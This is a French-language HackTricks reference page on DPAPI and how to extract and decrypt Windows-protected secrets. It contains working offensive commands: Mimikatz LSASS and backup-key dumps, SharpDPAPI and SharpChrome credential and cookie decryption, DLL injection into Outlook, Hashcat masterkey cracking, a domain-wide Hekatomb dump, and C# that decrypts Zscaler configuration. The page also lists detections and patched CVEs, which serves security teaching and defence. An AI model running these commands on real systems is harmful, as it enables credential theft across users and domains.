DPAPI - Extraction de mots de passe
Reading time: 17 minutes
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépÎts github.
Qu'est-ce que DPAPI
The Data Protection API (DPAPI) est principalement utilisĂ©e dans le systĂšme d'exploitation Windows pour le chiffrement symĂ©trique de clĂ©s privĂ©es asymĂ©triques, en s'appuyant soit sur des secrets utilisateur soit sur des secrets systĂšme comme source importante d'entropie. Cette approche simplifie le chiffrement pour les dĂ©veloppeurs en leur permettant de chiffrer des donnĂ©es avec une clĂ© dĂ©rivĂ©e des secrets de connexion de l'utilisateur ou, pour le chiffrement systĂšme, des secrets d'authentification du domaine du systĂšme, Ă©vitant ainsi aux dĂ©veloppeurs de devoir protĂ©ger la clĂ© de chiffrement eux-mĂȘmes.
La façon la plus courante d'utiliser DPAPI est via les fonctions CryptProtectData
et CryptUnprotectData
, qui permettent aux applications de chiffrer et dĂ©chiffrer des donnĂ©es de maniĂšre sĂ©curisĂ©e avec la session du processus actuellement connectĂ©. Cela signifie que les donnĂ©es chiffrĂ©es ne peuvent ĂȘtre dĂ©chiffrĂ©es que par le mĂȘme utilisateur ou systĂšme qui les a chiffrĂ©es.
De plus, ces fonctions acceptent aussi un entropy
parameter qui est utilisĂ© lors du chiffrement et du dĂ©chiffrement ; par consĂ©quent, pour dĂ©chiffrer quelque chose chiffrĂ© avec ce paramĂštre, vous devez fournir la mĂȘme valeur d'entropie qui a Ă©tĂ© utilisĂ©e lors du chiffrement.
Génération de la clé utilisateur
DPAPI génÚre une clé unique (appelée pre-key
) pour chaque utilisateur basée sur ses identifiants. Cette clé est dérivée du mot de passe de l'utilisateur et d'autres facteurs ; l'algorithme dépend du type d'utilisateur mais aboutit à un SHA1. Par exemple, pour les utilisateurs de domaine, elle dépend du hash NTLM de l'utilisateur.
Cela est particuliÚrement intéressant car si un attaquant peut obtenir le hash du mot de passe de l'utilisateur, il peut :
- Déchiffrer n'importe quelle donnée qui a été chiffrée avec DPAPI avec la clé de cet utilisateur sans avoir besoin d'appeler une API
- Essayer de craquer le mot de passe hors ligne en tentant de générer la clé DPAPI valide
De plus, chaque fois que des données sont chiffrées par un utilisateur avec DPAPI, une nouvelle master key est générée. Cette master key est celle réellement utilisée pour chiffrer les données. Chaque master key est associée à un GUID (Globally Unique Identifier) qui l'identifie.
Les master keys sont stockées dans le répertoire %APPDATA%\Microsoft\Protect\<sid>\<guid>
, oĂč {SID}
est le Security Identifier de l'utilisateur. La master key est stockée chiffrée par la pre-key
de l'utilisateur et Ă©galement par une domain backup key pour la rĂ©cupĂ©ration (la mĂȘme clĂ© est donc stockĂ©e chiffrĂ©e deux fois avec deux passes diffĂ©rentes).
Notez que la domain key utilisée pour chiffrer la master key se trouve sur les domain controllers et ne change jamais, donc si un attaquant a accÚs au domain controller, il peut récupérer la domain backup key et déchiffrer les master keys de tous les utilisateurs du domaine.
Les blobs chiffrĂ©s contiennent le GUID de la master key qui a Ă©tĂ© utilisĂ©e pour chiffrer les donnĂ©es, dans leurs en-tĂȘtes.
tip
Les blobs chiffrés DPAPI commencent par 01 00 00 00
Trouver les master keys:
Get-ChildItem C:\Users\USER\AppData\Roaming\Microsoft\Protect\
Get-ChildItem C:\Users\USER\AppData\Local\Microsoft\Protect
Get-ChildItem -Hidden C:\Users\USER\AppData\Roaming\Microsoft\Protect\
Get-ChildItem -Hidden C:\Users\USER\AppData\Local\Microsoft\Protect\
Get-ChildItem -Hidden C:\Users\USER\AppData\Roaming\Microsoft\Protect\{SID}
Get-ChildItem -Hidden C:\Users\USER\AppData\Local\Microsoft\Protect\{SID}
This is what a bunch of Master Keys of a user will looks like:
Machine/System key generation
This is key used for the machine to encrypt data. It's based on the DPAPI_SYSTEM LSA secret, which is a special key that only the SYSTEM user can access. This key is used to encrypt data that needs to be accessible by the system itself, such as machine-level credentials or system-wide secrets.
Note that these keys don't have a domain backup so they are only accesisble locally:
- Mimikatz can access it dumping LSA secrets using the command:
mimikatz lsadump::secrets
- The secret is stored inside the registry, so an administrator could modify the DACL permissions to access it. The registry path is:
HKEY_LOCAL_MACHINE\SECURITY\Policy\Secrets\DPAPI_SYSTEM
Protected Data by DPAPI
Among the personal data protected by DPAPI are:
- Windows creds
- Internet Explorer and Google Chrome's passwords and auto-completion data
- E-mail and internal FTP account passwords for applications like Outlook and Windows Mail
- Passwords for shared folders, resources, wireless networks, and Windows Vault, including encryption keys
- Passwords for remote desktop connections, .NET Passport, and private keys for various encryption and authentication purposes
- Network passwords managed by Credential Manager and personal data in applications using CryptProtectData, such as Skype, MSN messenger, and more
- Encrypted blobs inside the register
- ...
System protected data includes:
- Wifi passwords
- Scheduled task passwords
- ...
Master key extraction options
- If the user has domain admin privileges, they can access the domain backup key to decrypt all user master keys in the domain:
# Mimikatz
lsadump::backupkeys /system:<DOMAIN CONTROLLER> /export
# SharpDPAPI
SharpDPAPI.exe backupkey [/server:SERVER.domain] [/file:key.pvk]
- Avec des privilÚges d'administrateur local, il est possible d'accéder à la mémoire LSASS pour extraire les DPAPI master keys de tous les utilisateurs connectés et la clé SYSTEM.
# Mimikatz
mimikatz sekurlsa::dpapi
- Si l'utilisateur a des privilÚges d'administrateur local, il peut accéder au DPAPI_SYSTEM LSA secret pour déchiffrer les clés maßtresses de la machine :
# Mimikatz
lsadump::secrets /system:DPAPI_SYSTEM /export
- Si le mot de passe ou le hash NTLM de l'utilisateur est connu, vous pouvez décrypter directement les master keys de l'utilisateur :
# Mimikatz
dpapi::masterkey /in:<C:\PATH\MASTERKEY_LOCATON> /sid:<USER_SID> /password:<USER_PLAINTEXT> /protected
# SharpDPAPI
SharpDPAPI.exe masterkeys /password:PASSWORD
- Si vous ĂȘtes dans une session en tant qu'utilisateur, il est possible de demander au DC la clĂ© de sauvegarde pour dĂ©chiffrer les master keys via RPC. Si vous ĂȘtes local admin et que l'utilisateur est connectĂ©, vous pouvez voler son session token pour cela :
# Mimikatz
dpapi::masterkey /in:"C:\Users\USER\AppData\Roaming\Microsoft\Protect\SID\GUID" /rpc
# SharpDPAPI
SharpDPAPI.exe masterkeys /rpc
Lister Vault
# From cmd
vaultcmd /listcreds:"Windows Credentials" /all
# From mimikatz
mimikatz vault::list
Accéder aux données chiffrées DPAPI
Trouver les données chiffrées DPAPI
Les fichiers utilisateur couramment protégés se trouvent dans :
C:\Users\username\AppData\Roaming\Microsoft\Protect\*
C:\Users\username\AppData\Roaming\Microsoft\Credentials\*
C:\Users\username\AppData\Roaming\Microsoft\Vault\*
- Vérifiez également en remplaçant
\Roaming\
par\Local\
dans les chemins ciâdessus.
Exemples d'énumération :
dir /a:h C:\Users\username\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\username\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\
SharpDPAPI peut trouver des DPAPI encrypted blobs dans le file system, le registry et les B64 blobs :
# Search blobs in the registry
search /type:registry [/path:HKLM] # Search complete registry by default
# Search blobs in folders
search /type:folder /path:C:\path\to\folder
search /type:folder /path:C:\Users\username\AppData\
# Search a blob inside a file
search /type:file /path:C:\path\to\file
# Search a blob inside B64 encoded data
search /type:base64 [/base:<base64 string>]
Notez que SharpChrome (du mĂȘme dĂ©pĂŽt) peut ĂȘtre utilisĂ© pour dĂ©chiffrer, en utilisant DPAPI, des donnĂ©es sensibles comme les cookies.
Clés d'accÚs et données
- Use SharpDPAPI pour récupérer des identifiants à partir de fichiers chiffrés par DPAPI de la session courante :
# Decrypt user data
## Note that 'triage' is like running credentials, vaults, rdg and certificates
SharpDPAPI.exe [credentials|vaults|rdg|keepass|certificates|triage] /unprotect
# Decrypt machine data
SharpDPAPI.exe machinetriage
- Obtenir les informations d'identification comme les données chiffrées et le guidMasterKey.
mimikatz dpapi::cred /in:C:\Users\<username>\AppData\Local\Microsoft\Credentials\28350839752B38B238E5D56FDD7891A7
[...]
guidMasterKey : {3e90dd9e-f901-40a1-b691-84d7f647b8fe}
[...]
pbData : b8f619[...snip...]b493fe
[..]
- Accéder aux masterkeys:
Déchiffrer une masterkey d'un utilisateur demandant la domain backup key via RPC:
# Mimikatz
dpapi::masterkey /in:"C:\Users\USER\AppData\Roaming\Microsoft\Protect\SID\GUID" /rpc
# SharpDPAPI
SharpDPAPI.exe masterkeys /rpc
L'outil SharpDPAPI prend également en charge ces arguments pour le décryptage des masterkeys (remarquez qu'il est possible d'utiliser /rpc
pour obtenir la clé de sauvegarde du domaine, /password
pour utiliser un mot de passe en clair, ou /pvk
pour spécifier un fichier de clé privée DPAPI du domaine...) :
/target:FILE/folder - triage a specific masterkey, or a folder full of masterkeys (otherwise triage local masterkeys)
/pvk:BASE64... - use a base64'ed DPAPI domain private key file to first decrypt reachable user masterkeys
/pvk:key.pvk - use a DPAPI domain private key file to first decrypt reachable user masterkeys
/password:X - decrypt the target user's masterkeys using a plaintext password (works remotely)
/ntlm:X - decrypt the target user's masterkeys using a NTLM hash (works remotely)
/credkey:X - decrypt the target user's masterkeys using a DPAPI credkey (domain or local SHA1, works remotely)
/rpc - decrypt the target user's masterkeys by asking domain controller to do so
/server:SERVER - triage a remote server, assuming admin access
/hashes - output usermasterkey file 'hashes' in JTR/Hashcat format (no decryption)
- Déchiffrer les données en utilisant une masterkey:
# Mimikatz
dpapi::cred /in:C:\path\to\encrypted\file /masterkey:<MASTERKEY>
# SharpDPAPI
SharpDPAPI.exe /target:<FILE/folder> /ntlm:<NTLM_HASH>
L'outil SharpDPAPI prend également en charge ces arguments pour le déchiffrement de credentials|vaults|rdg|keepass|triage|blob|ps
(notez qu'il est possible d'utiliser /rpc
pour obtenir la clé de sauvegarde du domaine, /password
pour utiliser un mot de passe en clair, /pvk
pour spécifier un fichier de clé privée DPAPI de domaine, /unprotect
pour utiliser la session de l'utilisateur en cours...):
Decryption:
/unprotect - force use of CryptUnprotectData() for 'ps', 'rdg', or 'blob' commands
/pvk:BASE64... - use a base64'ed DPAPI domain private key file to first decrypt reachable user masterkeys
/pvk:key.pvk - use a DPAPI domain private key file to first decrypt reachable user masterkeys
/password:X - decrypt the target user's masterkeys using a plaintext password (works remotely)
/ntlm:X - decrypt the target user's masterkeys using a NTLM hash (works remotely)
/credkey:X - decrypt the target user's masterkeys using a DPAPI credkey (domain or local SHA1, works remotely)
/rpc - decrypt the target user's masterkeys by asking domain controller to do so
GUID1:SHA1 ... - use a one or more GUID:SHA1 masterkeys for decryption
/mkfile:FILE - use a file of one or more GUID:SHA1 masterkeys for decryption
Targeting:
/target:FILE/folder - triage a specific 'Credentials','.rdg|RDCMan.settings', 'blob', or 'ps' file location, or 'Vault' folder
/server:SERVER - triage a remote server, assuming admin access
Note: must use with /pvk:KEY or /password:X
Note: not applicable to 'blob' or 'ps' commands
- Décrypter des données en utilisant la session utilisateur actuelle:
# Mimikatz
dpapi::blob /in:C:\path\to\encrypted\file /unprotect
# SharpDPAPI
SharpDPAPI.exe blob /target:C:\path\to\encrypted\file /unprotect
Gestion de l'entropie optionnelle (« entropie tierce »)
Certaines applications transmettent une valeur d'entropie supplémentaire à CryptProtectData
. Sans cette valeur, le blob ne peut pas ĂȘtre dĂ©chiffrĂ©, mĂȘme si le masterkey correct est connu. Obtenir l'entropie est donc essentiel lorsqu'on cible des identifiants protĂ©gĂ©s de cette façon (p.ex. Microsoft Outlook, certains clients VPN).
EntropyCapture (2022) est une DLL user-mode qui hooke les fonctions DPAPI à l'intérieur du processus cible et enregistre de maniÚre transparente toute entropie optionnelle fournie. Lancer EntropyCapture en mode DLL-injection contre des processus tels que outlook.exe
ou vpnclient.exe
produira un fichier mappant chaque buffer d'entropie au processus appelant et au blob. L'entropie capturĂ©e peut ensuite ĂȘtre fournie Ă SharpDPAPI (/entropy:
) ou Ă Mimikatz (/entropy:<file>
) afin de déchiffrer les données.
# Inject EntropyCapture into the current user's Outlook
InjectDLL.exe -pid (Get-Process outlook).Id -dll EntropyCapture.dll
# Later decrypt a credential blob that required entropy
SharpDPAPI.exe blob /target:secret.cred /entropy:entropy.bin /ntlm:<hash>
Cracking masterkeys offline (Hashcat & DPAPISnoop)
Microsoft a introduit un format de masterkey context 3 Ă partir de Windows 10 v1607 (2016). hashcat
v6.2.6 (December 2023) a ajouté les hash-modes 22100 (DPAPI masterkey v1 context ), 22101 (context 1) et 22102 (context 3), permettant le cracking accéléré par GPU des mots de passe utilisateur directement depuis le fichier masterkey. Les attaquants peuvent donc effectuer des attaques word-list ou brute-force sans interagir avec le systÚme cible.
DPAPISnoop
(2024) automatise le processus:
# Parse a whole Protect folder, generate hashcat format and crack
DPAPISnoop.exe masterkey-parse C:\Users\bob\AppData\Roaming\Microsoft\Protect\<sid> --mode hashcat --outfile bob.hc
hashcat -m 22102 bob.hc wordlist.txt -O -w4
L'outil peut aussi analyser les blobs Credential et Vault, les déchiffrer avec des clés craquées et exporter les mots de passe en clair.
Accéder aux données d'une autre machine
Dans SharpDPAPI et SharpChrome vous pouvez indiquer l'option /server:HOST
pour accéder aux données d'une machine distante. Bien sûr, vous devez pouvoir accéder à cette machine et dans l'exemple suivant il est supposé que la clé de sauvegarde de domaine est connue:
SharpDPAPI.exe triage /server:HOST /pvk:BASE64
SharpChrome cookies /server:HOST /pvk:BASE64
Autres outils
HEKATOMB
HEKATOMB est un outil qui automatise l'extraction de tous les utilisateurs et ordinateurs de l'annuaire LDAP et l'extraction de la clé de sauvegarde du contrÎleur de domaine via RPC. Le script résoudra ensuite les adresses IP de tous les ordinateurs et effectuera un smbclient sur tous les ordinateurs pour récupérer tous les blobs DPAPI de tous les utilisateurs et tout déchiffrer avec la clé de sauvegarde du domaine.
python3 hekatomb.py -hashes :ed0052e5a66b1c8e942cc9481a50d56 DOMAIN.local/administrator@10.0.0.1 -debug -dnstcp
Avec la liste des ordinateurs extraite de LDAP, vous pouvez trouver tous les sous-rĂ©seaux mĂȘme si vous ne les connaissiez pas !
DonPAPI 2.x (2024-05)
DonPAPI peut dumper automatiquement des secrets protégés par DPAPI. La release 2.x a introduit :
- Collecte parallĂšle de blobs depuis des centaines d'hĂŽtes
- Analyse des masterkeys context 3 et intégration automatique du cracking avec Hashcat
- Prise en charge des cookies chiffrés Chrome "App-Bound" (voir section suivante)
- Un nouveau mode
--snapshot
pour sonder réguliÚrement des endpoints et différencier les blobs nouvellement créés
DPAPISnoop
DPAPISnoop est un parseur C# pour fichiers masterkey/credential/vault qui peut produire des formats Hashcat/JtR et invoquer éventuellement le cracking automatiquement. Il prend en charge complÚtement les formats de masterkey machine et utilisateur jusqu'à Windows 11 24H1.
Détections courantes
- AccĂšs Ă des fichiers dans
C:\Users\*\AppData\Roaming\Microsoft\Protect\*
,C:\Users\*\AppData\Roaming\Microsoft\Credentials\*
et d'autres répertoires liés à DPAPI. - Surtout depuis un partage réseau comme C$ ou ADMIN$.
- Utilisation de Mimikatz, SharpDPAPI ou d'outils similaires pour accéder à la mémoire LSASS ou dumper des masterkeys.
- ĂvĂ©nement 4662 : An operation was performed on an object â peut ĂȘtre corrĂ©lĂ© avec l'accĂšs Ă l'objet
BCKUPKEY
. - ĂvĂ©nements 4673/4674 lorsque qu'un processus demande SeTrustedCredManAccessPrivilege (Credential Manager)
Vulnérabilités et évolutions de l'écosystÚme 2023-2025
- CVE-2023-36004 â Windows DPAPI Secure Channel Spoofing (novembre 2023). Un attaquant avec accĂšs rĂ©seau pouvait tromper un membre de domaine pour qu'il rĂ©cupĂšre une clĂ© de sauvegarde DPAPI malveillante, permettant le dĂ©chiffrement des masterkeys utilisateurs. PatchĂ© dans le cumulative update de novembre 2023 â les administrateurs doivent s'assurer que les DCs et postes de travail sont entiĂšrement patchĂ©s.
- Chrome 127 âApp-Boundâ cookie encryption (juillet 2024) a remplacĂ© la protection legacy uniquement DPAPI par une clĂ© additionnelle stockĂ©e dans le Credential Manager de l'utilisateur. Le dĂ©chiffrement hors ligne des cookies nĂ©cessite dĂ©sormais Ă la fois le masterkey DPAPI et la GCM-wrapped app-bound key. SharpChrome v2.3 et DonPAPI 2.x sont capables de rĂ©cupĂ©rer la clĂ© supplĂ©mentaire lorsqu'ils sont exĂ©cutĂ©s en contexte utilisateur.
Ătude de cas : Zscaler Client Connector â entropie personnalisĂ©e dĂ©rivĂ©e du SID
Zscaler Client Connector stocke plusieurs fichiers de configuration sous C:\ProgramData\Zscaler
(par ex. config.dat
, users.dat
, *.ztc
, *.mtt
, *.mtc
, *.mtp
). Chaque fichier est chiffrĂ© avec DPAPI (Machine scope) mais le fournisseur fournit une entropie personnalisĂ©e qui est calculĂ©e Ă l'exĂ©cution au lieu d'ĂȘtre stockĂ©e sur le disque.
L'entropie est reconstruite à partir de deux éléments :
- Un secret en dur embarqué dans
ZSACredentialProvider.dll
. - Le SID du compte Windows auquel la configuration appartient.
L'algorithme implémenté par la DLL est équivalent à :
byte[] secret = Encoding.UTF8.GetBytes(HARDCODED_SECRET);
byte[] sid = Encoding.UTF8.GetBytes(CurrentUserSID);
// XOR the two buffers byte-by-byte
byte[] tmp = new byte[secret.Length];
for (int i = 0; i < secret.Length; i++)
tmp[i] = (byte)(sid[i] ^ secret[i]);
// Split in half and XOR both halves together to create the final entropy buffer
byte[] entropy = new byte[tmp.Length / 2];
for (int i = 0; i < entropy.Length; i++)
entropy[i] = (byte)(tmp[i] ^ tmp[i + entropy.Length]);
Parce que le secret est intégré dans une DLL lisible depuis le disque, tout attaquant local disposant des droits SYSTEM peut régénérer l'entropie pour n'importe quel SID et déchiffrer les blobs hors ligne :
byte[] blob = File.ReadAllBytes(@"C:\ProgramData\Zscaler\<SID>++config.dat");
byte[] clear = ProtectedData.Unprotect(blob, RebuildEntropy(secret, sid), DataProtectionScope.LocalMachine);
Console.WriteLine(Encoding.UTF8.GetString(clear));
Le dĂ©chiffrement fournit la configuration JSON complĂšte, y compris chaque device posture check et sa valeur attendue â des informations trĂšs utiles lors de tentatives de contournement cĂŽtĂ© client.
ASTUCE : les autres artefacts chiffrés (
*.mtt
,*.mtp
,*.mtc
,*.ztc
) sont protégés avec DPAPI sans entropie (16
octets nuls). Ils peuvent donc ĂȘtre dĂ©chiffrĂ©s directement avecProtectedData.Unprotect
une fois les privilĂšges SYSTEM obtenus.
Références
-
Synacktiv â Should you trust your zero trust? Bypassing Zscaler posture checks
-
https://www.passcape.com/index.php?section=docsys&cmd=details&id=28#13
-
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-36004
-
https://security.googleblog.com/2024/07/improving-security-of-chrome-cookies-on.html
-
https://specterops.io/blog/2022/05/18/entropycapture-simple-extraction-of-dpapi-optional-entropy/
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépÎts github.